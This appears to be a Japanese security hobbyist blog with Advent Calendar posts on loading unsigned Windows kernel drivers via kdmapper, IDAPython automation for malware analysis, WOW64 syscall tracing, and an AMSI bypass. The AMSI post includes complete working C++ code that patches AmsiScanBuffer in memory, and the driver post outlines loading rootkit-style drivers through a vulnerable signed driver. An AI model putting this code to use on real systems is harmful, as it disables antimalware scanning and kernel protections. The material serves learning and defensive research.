Windows Kernel Mode Driverのreflectiveなロードをやってみる
Windows Kernel Mode Driverのreflectiveなロードをやってみる
最新のWindows OSに対して任意の非署名ドライバをロードするツールとしてkdmapperなどが知られている.
kdmapperは脆弱なIntel製ドライバiqvw64e.sys
をエクスプロイトし,任意のシステムルーチンを呼び出せるようにしたうえで,実行時引数に与えられた非署名ドライバをカーネルアドレス空間にロードし実行させることができる.
また,GhostEmperorと呼ばれるアクティビティでは,CheatEngineに同梱される署名済みドライバdbk64.sys
が非署名ドライバ(すなわちrootkit)をロードさせるローダーとして利用されたことが報告されている.
ここではそれらを参考にWindows Kernel Mode Driverのreflectiveなロードをやってみる.ドライバをロードするドライバを作成したうえで,ユーザー空間からDeviceIoControl
をcallし,単純なメッセージをDbgViewに出力するドライバを読み込ませてみる.
kdmapperをforkして新しいbranchを切ってこれを調整する形で実装した.
https://github.com/ry0kvn/kdmapper/tree/2287593f44b63c0fa0909d1ce1e8fad3234bd741
実行すると以下のようにうまくメッセージを出力できているようだ.もちろんこれは非署名ドライバをロードできるテストモードでの実験だ.
やってることは新規性のない単純なWindowsのシステムプログラミングでコードも不格好だ.
しかし例えばGhostEmperorのやり方に倣えば,正規署名済みの脆弱なドライバを見つけてきて,IRP_MJ_DEVICE_CONTROL
にパッチを当て,IRPをフックしたうえで,今回作成したドライバのコードをシェルコードなどの位置に依存しない形で配置してやれば,通常のDriver Signature Enforcement + PatchGuardが有効な実行環境で署名済みドライバを使って非署名ドライバをロードすることができるはずだ.
本来ならここまでやって記事化すべきだが間に合わなかったのでこれを公開する.
おわりに
このエントリは,IPFactory Advent Calendar 2021 21日目のエントリです.詳細はこちら.
前日の記事は@n01e0nによる「おもしろマルウェアの解析」でした. 明日の記事は@futabatoによる「MBSD Cybersecurity Challenges 2021 参加記」です.楽しみですね.
IDAPythonによる解析の自動化をやってみる(動的解析編)
IDAPythonによる解析の自動化をやってみる(動的解析編)
前回の記事では,IDAPythonを使ってマルウェア解析工程の一部の自動化をやってみた.要約すると,IDAPythonを使って検体内に埋め込まれた暗号化されたAPI名を復号し,グローバルな変数をその値でリネームするというものだった.これにより動的にインポートされた関数ポインタがバイナリ内のどの場所でcallされたとしても,それがなんであるか判別できるようになった.また関数プロトタイプが適用されることで引数情報がIDAに反映され解析効率が上がるなどの効果もあった.一方で,即座に復号スクリプトを用意できないような複雑な,あるいは自明でない暗号方式を採用している検体に出くわした場合はどうすればよいだろうか.解析者は逆アセンブル結果やデコンパイル結果を見て復号スクリプトを書くことになるが,個人的にこれは非常に苦しい作業であるように思う.そこで動的解析の出番である.IDA Proはデバッガー機能も備えているのでこの問題にも対応できる.
ここでは前回のバイナリを例に,APIの動的なインポートをIDAのデバッガーとそれをIDAPythonスクリプトで制御することで解決してみる.静的解析では埒が明かないようなバイナリに対して強力なオプションになるだろう.
シナリオ
前回同様に次のような関数を解析対象に想定する.
GetProcAddressで取得されるAPI名を取りたい.実行時にどのようにデータが受け渡しされるのかデバッガで処理を追ってみる.
以下はGetProcAddressで取得した値がデータ領域dword_8F3384
に保存される直前にブレークポイントを設定し,レジスタとメモリの内容を表示した画像.
GetProcAddressの戻り値としてEAXにアドレスが入っている.その横にIDAがシンボルをもとに[モジュール名]_[API名]
という形でそのアドレスがどこを指しているのかを表示してくれている.また右下にはDecryptString関数で復号された文字列がメモリに載っている.このように目的の値が取れる個所はいくつかあるが,今回は前者のアドレスに対してIDAが表示してくれるシンボルを取ることにする.
IDAのデバッガーをIDAPythonで操作する
まず,次のようにしてGetProcAddressがcallされた次のアドレスを全て列挙し,ブレークポイントを設定する.
addr = get_name_ea_simple('GetProcAddress') for x in XrefsTo(addr): if x.iscode: bp_addr = next_head(x.frm) add_bpt(bp_addr, BPT_DEFAULT)
単純にGetProcAddressを参照するすべてのアドレスを取ると不要なデータ領域のアドレスなども取れるため,iscodeでコード領域のアドレスだけを取っている.Breakpointsのリストを見ると確かにブレークポイントが設定されている.
次にブレークポイントにconditionを設定する.conditionとは各ブレークポイントに設定できる条件のことで,ブレークポイント発火時に呼び出されるコールバック関数のようなものだ.この関数の戻り値がTrueなら通常通りブレークし,そうでない場合はブレークしない.条件付きブレークポイントは文字通りブレークポイントの条件分岐のための機能だが,condition内でレジスタやメモリ操作をすることでフックのような処理ができる.conditionの中でレジスタの値を取る処理とリネームする処理を加えれば今回の目的は達成できるだろう.
スクリプト
import ida_dbg idaapi.enable_extlang_python(True) #1 def get_api_name_and_rename(): ida_dbg.refresh_debugger_memory() #3 api_name = get_name(get_reg_value('eax')).split('_')[-1] #4 ea = get_reg_value('eip') print(">>> Conditional breakpoint called on {} {}".format(hex(ea), api_name)) try: #5 set_cmt(ea, api_name, 0) set_name(get_operand_value(ea, 0), api_name) except: # If the return value of the code is True, the breakpoint will trigger. return True return False addr = get_name_ea_simple('GetProcAddress') for x in XrefsTo(addr): if x.iscode: bp_addr = next_head(x.frm) add_bpt(bp_addr, BPT_DEFAULT) enable_bpt(bp_addr, True) set_bpt_cond(bp_addr, "get_api_name_and_rename()") #2 print("[+] Conditional Break point installation completed!")
- enable_extlang_pythonをTrueにすることでconditionに登録する式をPythonで記述できるようにする
- set_bpt_condで条件付きブレークポイントを設定する.ブレークポイントのアドレスとconditionを設定する
- refresh_debugger_memoryでデバッガのバッファをリフレッシュする.これをしないと値が取れないなどおかしなことになる
- eaxのアドレスが指す場所の名前を取っている
- リネーム処理をtry文内で行う.例外が発生した場合は戻り値Trueを返してユーザーがデバッグしやすいようにブレークさせる
これを実行すると以下のような出力が得られる.GetProcAddressの値が得られており,コメントとリネーム処理もうまくいっているようだ.
GetProcAddressがいくつもある以下のようなバイナリに対しても応用できる.
スクリプトをこのバイナリ内で実行すると以下のような結果が得られうまく実行できているようだ.
以上.
参考
https://adelmas.com/blog/ida_api_hooking.php
おわりに
このエントリは,IPFactory Advent Calendar 2021 13日目のエントリです.詳細はこちら.前日の記事は@y0d3nによる「スクショのためのchrome拡張機能を自作した」でした.明日の枠は@DuGlaserです.楽しみですね.
IDAPythonによる解析の自動化をやってみる(静的解析編)
IDAPythonによる解析の自動化をやってみる
逆アセンブラ,デコンパイラのデファクトスタンダードなツールの一つにIDA Proがある.IDA ProはPythonを使ったスクリプティング機能を提供しており,この機能を使うことでプラグインといった形でIDA自身の機能を拡張したり,面倒な手動解析を自動化することができる.このエントリでは,マルウェア解析を例としてIDAPythonを使った解析工程の一部の自動化をやってみる.
シナリオ
マルウェア作者は悪意あるコード部分で使用するAPIを動的にインポートすることで,静的解析のハードルを上げようと試みることがある.つまり実行の初期の段階でグローバルな変数にAPIのアドレスを保存しておき,API使用時には関数ポインタとしてこれを呼び出す.こうすることにより静的解析を行う解析者からはcall命令でデータ領域のある値へジャンプするように見え,一見して動作がわからなくなる.
具体的には,WindowsにはAPIのアドレスを取得するAPIとしてGetProcAddressがあり,引数に使用したいAPI名を渡して使用する.マルウェア作者は解析難度を上げる狙いでこのAPI文字列を一度暗号化したうえで,実行時に復号し動的なAPIのインポートを行うことがある.解析者はインポートするAPI名を特定するため動的解析や自作の復号スクリプトを用いてこれを特定する.
ここでは以下のステップで動的解決されたAPI名を操作し,解析の自動化にトライしてみる.
参考
IDAPythonに関する日本語情報はかなり少なく,基本的に既存のスクリプトを参考にIDA内臓のインタープリターで適宜実行して出力を確認しながらスクリプトを作成していくことになる.またIDAPythonは7.4以降からAPI名に変更があったため,古い記事を読んで混乱しないよう注意する必要がある.以下はこのエントリを書く際に参考にした資料.
- hex-raysのIDA SDKのドキュメント
- API名の新旧比較表.IDAのバージョンアップに伴いAPI名が変わった.IDAPythonに関する昔の記事をみてAPIの現在と昔のバージョンの対応に困ったらここをみるとよい
- IDAのコマンドライン実行時のオプションについて
- IDAPythonのCheatSheet
- JSAC ワークショップの資料.IDAPythonではなくGhidraのスクリプトだが解決したい問題などは共通
- The IDA Pro Book, 2nd Edition
- paloalto公開のIDAPythonを使った解析自動化のチュートリアル.日本語記事はパート6しか公開されていないよう?
環境
IDA Pro 7.6 Python 3.9 Visaul Studio 2019
解析対象コード
解析対象にする実行ファイルのコードを以下に示す.
#include <Windows.h> #include <stdio.h> using fAdjustTokenPrivileges = BOOL(WINAPI*)(_In_ HANDLE TokenHandle, _In_ BOOL DisableAllPrivileges, _In_opt_ PTOKEN_PRIVILEGES NewState, _In_ DWORD BufferLength, _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState,_Out_opt_ PDWORD ReturnLength); fAdjustTokenPrivileges g_AdjustTokenPrivileges = nullptr; char* DecryptString(char* Buffer, size_t BufferCount, const char* in) { int i; char* orig = Buffer; char key[56] = { 0x72,0x70,0x74,0x42,0x41,0x63,0x64,0x45,0x32,0x2e,0x71,0x4d,0x52,0x49,0x55,0x4a,0x6f,0x35,0x77,0x4b,0x36,0x47,0x73,0x56,0x4e,0x46,0x66,0x62,0x61,0x6a,0x58,0x67,0x78,0x34,0x59,0x5a,0x53,0x37,0x65,0x6d,0x79,0x30,0x43,0x7a,0x44,0x39,0x31,0x4c,0x6c,0x57,0x69,0x76,0x33,0x4f,0x75 }; snprintf(Buffer, BufferCount, "%s", in); if (!*Buffer) return orig; do { i = 0; while (*Buffer != key[i]) { if (++i >= 0x37) goto PASS; } *Buffer = key[(i + 8) % 0x37u]; PASS: ; } while (*++Buffer); return orig; } void SolveAPI() { char buf[0x100] = { 0 }; char* DLLName = nullptr; char* APIName = nullptr; // vOz6lCDrpOyy -> Advapi32.dll DLLName = DecryptString(buf, 0x32, "vOz6lCDrpOyy"); HMODULE hDLL = LoadLibraryA(DLLName); if (hDLL) { // vOG1UWT2kXnPLCzCyXVXU -> AdjustTokenPrivilege APIName = DecryptString(buf, 0x32, "vOG1UWT2kXnPLCzCyXVXU"); g_AdjustTokenPrivileges = (fAdjustTokenPrivileges)GetProcAddress(hDLL, APIName); } } int main() { SolveAPI(); // AdjustTokenPrivilegeを使ったmalicousなコードが続く return 0; }
暗号化部分の実装は疑似的なものでご容赦願いたい.これをVisual StudioでコンパイルしSolveAPIのデコンパイル結果をIDAで見ると次のようになる.
dword_403384
にGetProcAddressの戻り値が代入されているためこれが関数ポインタとして後続の処理でcallされると察しはつくが,シンボルがないためどのAPIかまでは特定できない.
暗号化された文字列を復号する
まずは暗号化された文字列を復号するスクリプトを作成する.復号関数をPythonで書き直すと以下のようになるだろう.
def decrypt(enc: str) -> str: key = "rptBAcdE2.qMRIUJo5wK6GsVNFfbajXgx4YZS7emy0CzD91LlWiv3Ou" dec = "" for e in enc: j = 0 for k in key: if e == k: break if j >= 0x37: break j = j + 1 if j >= 0x37: dec += e else: dec += key[(j+8) % 0x37] return dec
この関数に暗号化された文字列を渡せばよさそうだ.まずはアドレス(0x00402114)を決め打ちでやってみる.このアドレスは暗号化された文字列vOG1UWT2kXnPLCzCyXVXU
が保持されているアドレスである.このアドレスをread_string関数に渡すと終端文字が見つかるまで1バイトずつ読んで文字列として返してくれる.
画像左下部に実行結果が出力されている.うまく復号できているようだ.
すべての暗号化された文字列の取得
先の例では暗号化された文字列vOG1UWT2kXnPLCzCyXVXU
のアドレスを決め打ちでスクリプトを作成した.次はこのアドレスの取得もスクリプトで自動化させる.そのために以下のようなコードを追加する.
def decrypt_string(func_addr: int) -> str: args_3 = idaapi.get_arg_addrs(func_addr)[2] #4 enc_data_addr = get_operand_value(args_3, 0) #5 e = read_string(enc_data_addr) return DecryptString(e) for x in XrefsTo(get_name_ea_simple('DecryptString')): #1 xref_addr = x.frm #2 if ida_bytes.is_code(ida_bytes.get_full_flags(xref_addr)): #3 s = decrypt_string(xref_addr) print('[+] {} at {}'.format(s, hex(xref_addr)))
このコードには説明が必要だろう.
- XrefsToはアドレスを与えるとそのアドレスを参照する全てのアドレスを順次返すgeneratorで,xrefクラスをコピーしたインスタンスが得られる.
- xrefクラスのメンバ変数frmに参照するアドレスが保持されているのでそれを取得
- ただしこれはバイナリ内の全ての参照なのでコード領域からの参照だけをみるようにする
- idaapi.get_arg_addrsは与えられたアドレスの関数プロトタイプに基づいて引数のアドレスを保持したリストを返す
- get_operand_valueでそのアドレスの指定されたオペランド番号の値を得る(IDAの逆アセンブル画面ではアドレス
00401279
のオペランドがoffset aVog1uwt2kxnplc
となっているがこれはIDAが気を利かせて表示を変えているということだ)
これを実行すると以下のようにDecryptString
の引数に与えられた暗号化された文字列を復号して表示してくれる.
関数名指定部分の実装を抽象化
for x in XrefsTo(get_name_ea_simple('DecryptString')): #1
にリネームした関数名DecryptString
をセットしてしまっている.これでは完全な自動化とは言えない.次はこの関数を特定する部分も自動化しよう.
正規表現を使ってこの関数だと判定できる一意な機械語のパターンを見つける.今回は以下のBufferへの代入処理をパターンとして選んだ.mkYaraというプラグインを使えば,逆アセンブル画面の注目したい範囲を選択したあと右クリックから機械語ベースのルールを作成できる.ルールの厳格さは3段階から調整でき,Looseなルールを選択すれば以下のように即値が入っているオペランドの値を自動でメタ文字に変えてくれるなど即座にルールを生成できておすすめだ.
このパターンを検索するため以下のようなコードを追加した.
seg_mapping = {idc.get_segm_name(x): (idc.get_segm_start(x), idc.get_segm_end(x)) for x in idautils.Segments()} #1 start = seg_mapping['.text'][0] end = seg_mapping['.text'][1] pattern = "8B 45 ?? 83 C0 ?? 33 D2 B9 ?? ?? ?? ?? F7 F1 8B 45 ?? 8A 4C 15 ?? 88 08" addr = ida_search.find_binary(start, end, pattern, 16, idc.SEARCH_DOWN) #2 func_addr = idaapi.get_func(addr).start_ea #3 print('[*] target function found at {}'.format(hex(func_addr)))
- idautils.Segmentsは解析対象バイナリ内のすべてのセグメントを順次返すgeneratorで,セグメント名をキー,開始アドレスと終端アドレスのタプルを値として持つ辞書としてseg_mappingに代入している.今回は`.text'セクション内のみ検索する
- ida_search.find_binaryは引数に与えられたパターンでstartとendの範囲を検索する
- パターンが見つかったアドレスをidaapi.get_funcに渡すことでそのアドレスが属する関数に関する情報を保持したクラスインスタンスを生成できる.この値をXrefsToに渡す
このようにすれば複数検体が存在し,デコード関数の実装が多少変わったとしても自動化が可能だろう.
復号した文字列で変数をリネームする
復号した文字列を使ってグローバル変数をリネームしよう.リネームすることでこの変数の意味が明確になり解析がずっとしやすくなるはずだ.
def set_name_wrap(addr: int, name: str): i = 0 while True: if ( print_insn_mnem(addr) == 'mov' #2 and get_operand_type(addr, 0) == o_mem and get_operand_type(addr, 1) == o_reg and print_operand(addr, 1) == 'eax'): break elif i > 10: return else: addr = next_head(addr) #3 i += 1 set_name(get_operand_value(addr, 0), name, ida_name.SN_FORCE) #4 for x in XrefsTo(func_addr): # snip print('[+] {} at {}'.format(s, hex(xref_addr))) set_cmt(xref_addr, s, 0) #1 set_name_wrap(xref_addr, s)
- set_cmtで逆アセンブル画面のアドレスにコメントを付与できる
- set_name_wrapでは逆アセンブル結果を一行ずつ走査し,オペランドのタイプやニーモニックをもとにして復号した文字列をグローバル変数に代入する処理を探す
- next_headで指定したアドレスの次のアドレスを得る.次のアドレスとはIDAが認識している次の命令のアドレスという意味である
これを実行すると以下のように,逆アセンブル画面ではDecryptString
の横に復号した文字列がコメント付けされ,デコンパイル画面では変数名がAdjustTokenPrivilegesとリネームされていることがわかる.
Scaleする解析
ここまでの例では復号する文字列はたかだか2つであり,あまりスクリプト作成の恩恵を感じなかった.だが今回作成したスクリプトを使えば,以下のような手動でリネームすることが憚られるようなバイナリに対しても適用でき,自動化の恩恵を感じられるだろう.
またバッチモードでIDAを利用すれば,複数ファイルにも対応できる.以下は指定したフォルダ内の検体ファイルを全て解析するPowerShellワンライナー.完全なヘッドレスモードで実行するにはida.exeではなくidat.exeを使用する.またスクリプトや解析対象のファイルパスはフルパス指定すること.
Get-ChildItem <path\to\folder> | foreach {idat.exe -c -A -S<path\to\script> $_.FullName }
参考: running IDA python without gui
IDAPythonスクリプト
import idautils, idc, idaapi def read_string(addr: int) -> str: #read string from specific address res = "" while get_wide_byte(addr) != 0x0: s = get_wide_byte(addr) res += chr(s) addr += 1 return res def DecryptString(enc: str): key = "rptBAcdE2.qMRIUJo5wK6GsVNFfbajXgx4YZS7emy0CzD91LlWiv3Ou" dec = "" for e in enc: j = 0 for k in key: if e == k: break if j >= 0x37: break j = j + 1 if j >= 0x37: dec += e else: dec += key[(j+8) % 0x37] return dec def decrypt_string(func_addr: int) -> str: args_3 = idaapi.get_arg_addrs(func_addr)[2] enc_data_addr = get_operand_value(args_3, 0) e = read_string(enc_data_addr) return DecryptString(e) def set_name_wrap(addr: int, name: str): i = 0 while True: if ( print_insn_mnem(addr) == 'mov' and get_operand_type(addr, 0) == o_mem and get_operand_type(addr, 1) == o_reg and print_operand(addr, 1) == 'eax'): break elif i > 10: return else: addr = next_head(addr) i += 1 set_name(get_operand_value(addr, 0), name, ida_name.SN_FORCE) def main(): seg_mapping = {idc.get_segm_name(x): (idc.get_segm_start(x), idc.get_segm_end(x)) for x in idautils.Segments()} start = seg_mapping['.text'][0] end = seg_mapping['.text'][1] pattern = "83 C0 ?? 33 D2 ?? ?? ?? ?? ?? F7 ??" addr = ida_search.find_binary(start, end, pattern, 16, idc.SEARCH_DOWN) func_addr = idaapi.get_func(addr).start_ea print('[*] target function found at {}'.format(hex(func_addr))) for x in XrefsTo(func_addr): xref_addr = x.frm if ida_bytes.is_code(ida_bytes.get_full_flags(xref_addr)): s = decrypt_string(xref_addr) print('[+] {} at {}'.format(s, hex(xref_addr))) set_cmt(xref_addr, s, 0) set_name_wrap(xref_addr, s) with open('<path/to/result>', 'a') as f: f.write('[+] Analysis complete: ' + get_input_file_path() + '\n') if __name__ == '__main__': ida_auto.auto_wait() main() idc.exit()
終わりに
ここではIDAPythonスクリプトを使った解析の自動化をやってみた.バイナリの検索や変数のリネーム,バッチモードを使った複数ファイルへの適用などいずれもオーソドックスな使い方だ.IDAPythonを使えばこのほかにもバイナリへのパッチング,デバッガ操作による柔軟なデバッグなどをはじめとしたバイナリ操作はもちろん,Qtを使ったGUIプラグインの作成や独自アーキテクチャなマシン語の解析などもできる.機会があればこれらも記事として公開したい.
このエントリは,IPFactory Advent Calendar 2021 6日目のエントリです.詳細はこちら.
前日は,@DuGlaserによる「ただ移行するだけでいいのか?」でした.明日の枠は@n01e0です.楽しみですね.
amsi!AmsiScanBufferへのパッチによるAMSI Bypassをやってみる
amsi!AmsiScanBufferへのパッチによるAMSI Bypassをやってみる
この記事はIPFactoryアドベントカレンダー2020の22日目の記事です.
AMSIとは
AMSI(Windows Antimalware Scan Interface)は,Windows上で動くアプリケーションやサービスに対し,マルウェア対策プロバイダーにコンテンツを送信するためのインターフェースだ.
例えばPowerShellやVBAマクロ等の入力値が悪質なコンテンツだと判定されたとき,その裏ではAMSIを通じたコンテンツのスキャンが行われている.具体的にはAMSIは以下のWindowsコンポーネントと統合されている.
- ユーザーアカウント制御(UAC)
- PowerShell
- Windows Script Host(wscript.exeおよびcscript.exe)
- JavaScript,VBScript
- OfficeVBAマクロ
公式の以下の図は,PowerShellやVBScriptまたは開発者が独自に用意したコードがAMSIを呼び出し,ユーザーの入力値を検査出来ることを表している.
引用:https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps
例えばPowerShellであれば,Amsi.dllからエクスポートされるAmsiScanBuffer,AmsiScanStrinにコンテンツを渡すことでスキャンが行われることがこの図から読み取れる.
しばらくのgooglingの後,現在AMSIスキャンをバイパスする手法の中でも,特にエクスポート関数AmsiScanBufferに注目した手法として,その引数や戻り値に注目したパッチ当てが知られていることが分かった.
https://www.contextis.com/en/blog/amsi-bypass
ここでは,上記記事を参考にしつつ,最も直感的な方法である,AmsiScanBufferへのパッチ当てによるAMSIバイパスをやってみる. 具体的には,最初にPowerShellプロセスにロードされたAmsi.dllの機能を確認したのち,AmsiScanBufferにパッチを当てることでコンテンツスキャンをバイパスしてみる.
検証に利用した環境は以下.
AMSI機能チェック
バイパスコードを作成する前に,AMSIスキャンがどのように行われるのか確認してみる.
例えば以下のように,不審なコンテンツを実行しようとした場合,コンテンツの中身がmaliciousだと判定されブロックされてしまう.
MSDNによると,AmsiScanBufferの関数プロトタイプは以下のようになっており,スキャン結果に関係がありそうなパラメータとして戻り値とresultが考えられる.
HRESULT AmsiScanBuffer( HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT *result );
またAMSI_RESULTの定義は以下である.
WinDbgで調査したところ,resultの値が0x0(AMSI_RESULT_CLEAN)かつ戻り値が0x0(S_OK)であれば,コンテンツの内容がクリーンなものとして判定されるようである.
無害なコンテンツを与えた際のresultの参照先の値
有害なコンテンツを与えた際のresultの参照先の値
また,関数のエントリー時のresultと戻り値は必ず0x0であることも分かった. したがって,関数冒頭を「xor rax rax ;ret」等のようにパッチを当てることでAMSIスキャンをバイパス出来る.
パッチコードの実装
これからamsi!AmsiScanBufferにパッチを当て,AMSIスキャンをバイパスするコードを作成する.
CreateProcessやLoadlibraryなどのように、DLLからエクスポートされる関数へのアドレスは,GetProcAddressなどを利用することによって簡単に求められる.しかし,パッチを当てる部分がDLL内部でのみ使用されるコードであった場合はどうであろうか.この場合GetProcAddressに頼ったアドレス取得では対応できない.そこでここでは,AmsiScanBufferを特定できる一意な機械語でメモリ領域を探索し,パッチを当てるアドレスを求めることにする.このようにすれば,AmsiScanBufferが将来的に内部関数として隠蔽されてしまったとしても,機械語を置き換えるだけで再利用できるコードになるはずだ.
まずAmsiScanBufferを一意に特定できる機械語を調査する.ここでは,関数の先頭数バイト分の機械語を採用することにする.
パッチコードの処理の流れは大まかに次のようになっている.
- LoadLibraryを使ってAmsi.dllのベースアドレスを取得
- PEファイル内のOptionalHeader.SizeOfImageから,メモリ内に展開されたAmsi.dllのサイズを取得
- AmsiScanBufferを一意に特定できる機械語でメモリ内を検索
- 検索がヒットした場合,AmsiScanBufferの関数冒頭にパッチを当てる
#include<Windows.h> #include<iostream> using namespace std; char patternOfAmsiScanBuffer[] = { 0x4c, 0x8b, 0xdc, //MOV R11,RSP 0x49, 0x89, 0x5b, 0x08, //MOV qword ptr[R11 + local_res8],RBX 0x49, 0x89, 0x6b, 0x10, //MOV qword ptr[R11 + local_res10],RBP 0x49, 0x89, 0x73, 0x18, //MOV qword ptr[R11 + local_res18],RSI 0x57, //PUSH RDI 0x41, 0x56, //PUSH R14 0x41, 0x57, //PUSH R15 0x48, 0x83, 0xEC, 0x70 //SUB RSP,0x70 }; char patternOfPatch[] = { 0x48, 0x31, 0xc0, //XOR RAX,RAX 0xc3 //RET }; PVOID FindPattern(char* startAddress, char* patternBuff, SIZE_T patternSize, SIZE_T searchBytes) { unsigned int i = 0; do { if (startAddress[i] == patternBuff[0]) { for (size_t j = 1; j < patternSize; j++) { if (patternBuff[j] != startAddress[i + j]) break; if (j == patternSize - 1) { return (LPVOID)(&startAddress[i]); } } } ++i; } while (i < searchBytes); return (PVOID)NULL; } int main() { HMODULE hAmsi = LoadLibraryExA("amsi.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32); if (hAmsi == NULL) { cout << "[-]Failed to get the base addr" << endl; } cout << "[+]Amsi.dll base addr: " << hAmsi << endl; PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hAmsi; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)hAmsi + dosHeader->e_lfanew); SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage; cout << "[+]SizeOfImage: " << sizeOfImage << endl; PVOID addressOfAmsiScanBuffer = FindPattern((char*)hAmsi, patternOfAmsiScanBuffer, sizeof(patternOfAmsiScanBuffer), sizeOfImage); if(addressOfAmsiScanBuffer == NULL){ cout << "[-]Failed to get the pattern addr" << endl; return 0; } cout << "[+]addressOfAmsiScanBuffer: " << addressOfAmsiScanBuffer << endl; DWORD oldProtect = NULL; DWORD newProtect = PAGE_EXECUTE_READWRITE; VirtualProtect(addressOfAmsiScanBuffer, sizeof(patternOfPatch), newProtect, &oldProtect); SIZE_T lpNumberOfBytesWritten = 0; if (!WriteProcessMemory(GetCurrentProcess(), addressOfAmsiScanBuffer, patternOfPatch, sizeof(patternOfPatch), &lpNumberOfBytesWritten)) { cout << "[-]Failed to patch the memory" << endl; return 0; } cout << "[+]Successful patched!!" << endl; cout << "[+]AMSI scan hash been disabled!!" << endl; VirtualProtect(addressOfAmsiScanBuffer, sizeof(patternOfPatch), oldProtect, &newProtect); CloseHandle(hAmsi); return 0; }
実験
終わりに
この記事で行ったような,Amsi.dllに対するパッチによりスキャンをバイパスしようとする試みは既に多くの記事が公開されており,本稿はそれらを手本に作成された.このようなAmsi.dllに対するパッチの検知手法としては,メモリ内のネイティブコードのチェックやハッシュ値によるコード領域の改ざんチェックなどが考えられる.
実験では,メモリ内に有害なコンテンツが読み込まれたところで終わっているが,実際にはこの先の処理に進もうとするとWindows Defenderに検知されてしまう.この記事で紹介した内容は,銀の弾丸はおろか本質的にAMSIをバイパスできるものではなく,またアンマネージドコード等の理由からモダンな手法ともいえず優位性は高くないだろう.
参考
https://www.contextis.com/en/blog/amsi-bypass
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/
WOW64でのSystemcallをトレースしてみる
WOW64でのSystemcallをトレースしてみる
この記事はIPFactory Advent Calendar 2020の4日目の記事です.
IPFactoryというサークルについてはこちらをご覧ください.
前日12/3はn01e0による「userfaultfdについてのメモ」でした.
Heaven's Gateと呼ばれる手法を聞いたことがあるだろうか. ユーザーモードのフックをバイパスする手法として,WOW64上の32bitアプリケーションから64bitOSカーネルへのシステムコール遷移の一部を自前で実装してしまうというものだ.本稿では,Heaven's Gateを実装する準備としてWOW64のシステムコールをトレースし,その内部動作を大まかに掴んでみようと思う.
WOW64
MSDNのドキュメントによると,WOW64は32bitのアプリケーションを64bitのWindows上でシームレスに実行するためのx86エミュレータであるとのことだ.WOW64は現在のWindowsにおいてデフォルトで有効であり,ユーザーはbit数の異なる新旧のアプリケーションの違いを意識することなく実行することができる.
さて,以下の画像を見てほしい.WOW64の構成は図のようになっている.
引用:https://www.atmarkit.co.jp/ait/articles/1007/01/news131.html
WOW64のAPIコールの仕組みは同@ITの解説がわかりやすい.以下に引用する.
64bit Windows向けに作られたアプリケーションを実行する場合は、それぞれのアプリケーションごとに独立した1つの64bitプロセス空間が作成され、その中で実行される。 これに対してWin32アプリケーションを実行しようとすると、32bit版のWindows OSをエミュレーションするための環境(32bitプロセス空間)が作成され、その中でWin32アプリケーションが実行される。Win32アプリケーションが発行するAPIはエミュレーション用に用意された特別なDLLを経由して64bitのOSカーネルへ渡される。 引用: @IT 「第2回 Win32アプリケーションを実行するWOW64 (1/2)」
WOW64を構成する主要な64bitDLLは以下.
- wow64.dll
- wow64cpu.dll
- wow64win.dll
- ntdll.dll
WOW64上ではbit数の異なるDLLがロードされることになる.それぞれの格納元は次のとおり.
- 32-bits %windir%\SysWOW64\
- 64-bits %windir%\System32\
システムコールのトレースに使用するWinDbgはここからダウンロードすることができる.
なおWinDbg Previewを使用した場合,64bitコードと32bitコードを切り替えてのデバッグをうまく処理できなかったため,レガシー版のWinDbgを使用する.
また,検証に使ったOSのバージョンは以下.
OS Version: 10.0.19041 N/A Build 19041
64bitアプリケーションの場合
さて,WOW64のシステムコールをトレースする前に,64bitアプリケーションのシステムコールの遷移を改めて確認しておく.トレースするAPIは,特段の理由はないが,NtTerminateProcessを選択した.NtTerminateProcessを呼び出す適当なプログラムを用意し,WinDbgでシステムコールをトレースしてみる.
最初にWinDbgでプログラムにアタッチ後,ブレークポイントを設置する.
次に,gコマンドでブレークするまで処理を進ませる.以下の画像のように,eaxにシステムコール番号らしき値が格納され,syscall命令が実行されるようだ.
32bitアプリケーションの場合
次に32bitアプリケーションのシステムコールをトレースしてみる.最初に,プログラム開始直後にロードされているモジュールを表示してみる.
前説通り,wow64cpu,wow64,wow64win等のwow付きのモジュールや,ntdllが2つロードされていることが確認できる.また見切れてしまっているがntdll_77d0000のpdbファイル名はwntdll.pdb,ntdllはntdll.pdbであることもわかる.このファイルはIDAやGhidra等で逆アセンブルする際に有用だ.
さらにWOW64を使って32bitアプリケーションを動かした場合,プロセス内には32bitと64bit用に2つのPEBとTEBが作成される.これは!wow64exts.info
コマンドで確認することができる.
本題のWOW64上でのシステムコールをトレースしよう.最初にbp ntdll_77d0000!NtTerminateProcess
で32bit版ntdll.dll内のNtTerminateProcessにブレークポイントを設置する.
gコマンドで処理を進めると,先ほど設置したブレークポイントでブレークする. ここから64bitOSカーネルのNtTerminateProcessまでをトーレスする.
F11キーでステップイン実行すると,Wow64SystemServiceCallはwow64cpu!KiFastSystemCallへジャンプするようだ.
KiFastSystemCallではセグメントセレクタを0x33に変更して,64bitモードへジャンプするようだ.なお,bit modeごとのセグメントレジスタの値は以下.
- 64-bit (native) = 0x33
- 32-bit (WOW64) = 0x23
- 32-bit (native) = 0x1B
セグメントセレクタ自体の解説は以下を参照のこと.
ここで初めて以下の画像のように64bitコードが登場する.
最初に現れる処理はwow64cpu!CPUPReturnFromSimulatedCodeだ.この部分は32bitのコンテキストの保存と64bitのコンテキストへの移行を担う処理のようだ.
その後,いくつかの関数を経て以下の処理へ遷移する. 具体的には次の関数を経由していた
- wow64cpu!TurboDispatchJumpAddressStart
- wow64cpu!Thunk3ArgSpNSpSp
- wow64cpu!Thunk0Arg
NtTerminateProcessをコールするsyscall命令はwow64cpu!CpupSyscallStubで呼び出されていた.
syscall実行後,32bitコンテキストを復元し,32bitから64bitへ移行したのと同じ要領で,64bitから32bitモードへ戻る. セグメントセレクタを0x23に変えてfar jumpしている点に注意.
